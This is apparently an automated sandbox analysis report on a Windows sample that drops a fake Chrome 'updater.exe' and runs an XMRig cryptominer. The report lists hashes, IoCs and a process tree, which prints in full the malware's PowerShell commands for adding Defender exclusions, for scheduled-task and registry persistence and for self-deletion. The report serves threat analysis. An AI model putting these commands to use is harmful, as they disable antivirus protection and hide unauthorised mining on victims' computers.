Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr 1024/01/2024, 17:15
240124-vstf4aecaj 1023/01/2024, 19:27
240123-x6cfvagbd9 1023/01/2024, 19:27
240123-x6bvbafgem 1023/01/2024, 19:27
240123-x6bjjsgbd8 1023/01/2024, 19:27
240123-x6ax1sfgek 1023/01/2024, 19:27
240123-x6abgsfgej 1023/01/2024, 19:27
240123-x591qagbd7 1023/01/2024, 19:27
240123-x59d7agbd6 1023/01/2024, 19:27
240123-x584esgbd5 10Analysis
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max time kernel
466s -
max time network
1800s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231215-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231129-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
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Target
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
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Size
2.0MB
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MD5
a16a669a09bf158058b83e04e69fe38e
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SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
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SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
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SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
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SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 1748 created 1384 1748 UMRsPGc4u9tycx9r.exe 7 PID 1748 created 1384 1748 UMRsPGc4u9tycx9r.exe 7 PID 1748 created 1384 1748 UMRsPGc4u9tycx9r.exe 7 PID 1748 created 1384 1748 UMRsPGc4u9tycx9r.exe 7 PID 1672 created 1384 1672 updater.exe 7 PID 1672 created 1384 1672 updater.exe 7 PID 1672 created 1384 1672 updater.exe 7 PID 1672 created 1384 1672 updater.exe 7 PID 1816 created 1384 1816 conhost.exe 7 PID 1672 created 1384 1672 updater.exe 7 -
XMRig Miner payload 30 IoCs
resource yara_rule behavioral23/memory/2432-68-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-96-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-98-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-100-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-117-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-119-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-121-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-123-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-125-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-127-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-129-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-131-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-133-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral23/memory/2432-135-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig -
Deletes itself 1 IoCs
pid Process 2584 cmd.exe -
Executes dropped EXE 1 IoCs
pid Process 1672 updater.exe -
Loads dropped DLL 1 IoCs
pid Process 2936 taskeng.exe -
resource yara_rule behavioral23/memory/2432-68-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-96-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-98-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-100-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-117-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-119-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-121-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-123-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-125-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-127-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-129-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-131-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-133-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral23/memory/2432-135-0x0000000140000000-0x00000001407F4000-memory.dmp upx -
Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1672 set thread context of 1816 1672 updater.exe 48 PID 1672 set thread context of 2432 1672 updater.exe 51 -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe UMRsPGc4u9tycx9r.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2708 schtasks.exe 2764 schtasks.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2800 WMIC.exe -
Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 6058ddfae250da01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe -
Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 1748 UMRsPGc4u9tycx9r.exe 1748 UMRsPGc4u9tycx9r.exe 2280 powershell.exe 1748 UMRsPGc4u9tycx9r.exe 1748 UMRsPGc4u9tycx9r.exe 2648 powershell.exe 1748 UMRsPGc4u9tycx9r.exe 1748 UMRsPGc4u9tycx9r.exe 1748 UMRsPGc4u9tycx9r.exe 1748 UMRsPGc4u9tycx9r.exe 2072 powershell.exe 1672 updater.exe 1672 updater.exe 1060 powershell.exe 1672 updater.exe 1672 updater.exe 2624 powershell.exe 1672 updater.exe 1672 updater.exe 1672 updater.exe 1672 updater.exe 1816 conhost.exe 1816 conhost.exe 1672 updater.exe 1672 updater.exe -
Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 2280 powershell.exe Token: SeDebugPrivilege 2648 powershell.exe Token: SeDebugPrivilege 2072 powershell.exe Token: SeDebugPrivilege 1060 powershell.exe Token: SeDebugPrivilege 2624 powershell.exe Token: SeDebugPrivilege 1672 updater.exe Token: SeAssignPrimaryTokenPrivilege 2800 WMIC.exe Token: SeIncreaseQuotaPrivilege 2800 WMIC.exe Token: SeSecurityPrivilege 2800 WMIC.exe Token: SeTakeOwnershipPrivilege 2800 WMIC.exe Token: SeLoadDriverPrivilege 2800 WMIC.exe Token: SeSystemtimePrivilege 2800 WMIC.exe Token: SeBackupPrivilege 2800 WMIC.exe Token: SeRestorePrivilege 2800 WMIC.exe Token: SeShutdownPrivilege 2800 WMIC.exe Token: SeSystemEnvironmentPrivilege 2800 WMIC.exe Token: SeUndockPrivilege 2800 WMIC.exe Token: SeManageVolumePrivilege 2800 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2800 WMIC.exe Token: SeIncreaseQuotaPrivilege 2800 WMIC.exe Token: SeSecurityPrivilege 2800 WMIC.exe Token: SeTakeOwnershipPrivilege 2800 WMIC.exe Token: SeLoadDriverPrivilege 2800 WMIC.exe Token: SeSystemtimePrivilege 2800 WMIC.exe Token: SeBackupPrivilege 2800 WMIC.exe Token: SeRestorePrivilege 2800 WMIC.exe Token: SeShutdownPrivilege 2800 WMIC.exe Token: SeSystemEnvironmentPrivilege 2800 WMIC.exe Token: SeUndockPrivilege 2800 WMIC.exe Token: SeManageVolumePrivilege 2800 WMIC.exe Token: SeLockMemoryPrivilege 2432 conhost.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2648 wrote to memory of 2708 2648 powershell.exe 32 PID 2648 wrote to memory of 2708 2648 powershell.exe 32 PID 2648 wrote to memory of 2708 2648 powershell.exe 32 PID 2584 wrote to memory of 2504 2584 cmd.exe 37 PID 2584 wrote to memory of 2504 2584 cmd.exe 37 PID 2584 wrote to memory of 2504 2584 cmd.exe 37 PID 2072 wrote to memory of 2696 2072 powershell.exe 39 PID 2072 wrote to memory of 2696 2072 powershell.exe 39 PID 2072 wrote to memory of 2696 2072 powershell.exe 39 PID 2936 wrote to memory of 1672 2936 taskeng.exe 40 PID 2936 wrote to memory of 1672 2936 taskeng.exe 40 PID 2936 wrote to memory of 1672 2936 taskeng.exe 40 PID 2624 wrote to memory of 2764 2624 powershell.exe 45 PID 2624 wrote to memory of 2764 2624 powershell.exe 45 PID 2624 wrote to memory of 2764 2624 powershell.exe 45 PID 1672 wrote to memory of 1816 1672 updater.exe 48 PID 968 wrote to memory of 2800 968 cmd.exe 50 PID 968 wrote to memory of 2800 968 cmd.exe 50 PID 968 wrote to memory of 2800 968 cmd.exe 50 PID 1672 wrote to memory of 2432 1672 updater.exe 51 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1384
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1748
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2280
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2648 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2708
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\UMRsPGc4u9tycx9r.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2584 -
C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 33⤵PID:2504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2072 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2696
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1060
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2624 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2764
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:948
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:1816
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2432
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:968
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C:\Windows\system32\taskeng.exetaskeng.exe {C075BC7C-1DD5-44DD-9730-73E3B5E367D1} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2936 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1672
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2800
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
326KB
MD592c7470f5e9215f22a7fbe3c54f3a7d7
SHA12bfdce146999c90190c4c76cdbad7995e573c487
SHA256bfc6fbc7077ab3a2863ad756acee03be088d505097133bb14196d8f06dfb00a2
SHA512feeec0f00e88f94a0eb12f30c439d937358f48a2f192661847da86c2408dd355f60cc14fd730679612a800b3770a06aab1d59334b34dffb6fa64f23bdb1bd386
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Filesize
228KB
MD52c8cb27dcbe287df4aa3400aaef01651
SHA1ba8006208aea6ab0a00cc11a6520e8e8b381c912
SHA25632db8a136c0519b56b02cbde4160d21110ee44cd31fdfc9c15b79daf84d0cfc5
SHA5120fe2fa325bab26376bb4a73e2be009b31bdfa3c9a99f75ee43c72733127e2dda8eb07754efc511fd1671a4e3f3386d0dbed40a794ddd30b0681e8b0322ed6938
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Filesize
198B
MD537dd19b2be4fa7635ad6a2f3238c4af1
SHA1e5b2c034636b434faee84e82e3bce3a3d3561943
SHA2568066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
SHA51286e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CB5FI8OPCFMONV2GEG2L.temp
Filesize7KB
MD59657961ab1368acd403df4f7885acd06
SHA1b227aa452f0e4356dd056de732e470cb2ddd78da
SHA25642b2ceddbde5166503dadfb27cdaadcb5fbd94d6f6b49cfa2fc25165162b286e
SHA512e154c4dc20bdbf05f2dac5d52c04aa06f460c0d8d76d28777757bda638aa63f085b7f92d7203ca49335d0ccc0041d891fb41eb868aa6055e0cd6dcfebe169710
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Filesize
347KB
MD506adddce6de325ad910c13c903e28e6c
SHA1f609b3e3ce28e9d4aaa1a1c2d7118638ffb67ba1
SHA25647dad0b93ac8ccbdcfd83760790a8bd5f4034695f979ddd688097d180da6c275
SHA512e92aa8fd53b98131bf07306a9a2edaf0934a0de93f9378a284de30a078258d46dd19156dcdf18e9c147acbea2e51df9759247eac19fd5f0232ece389aadf879f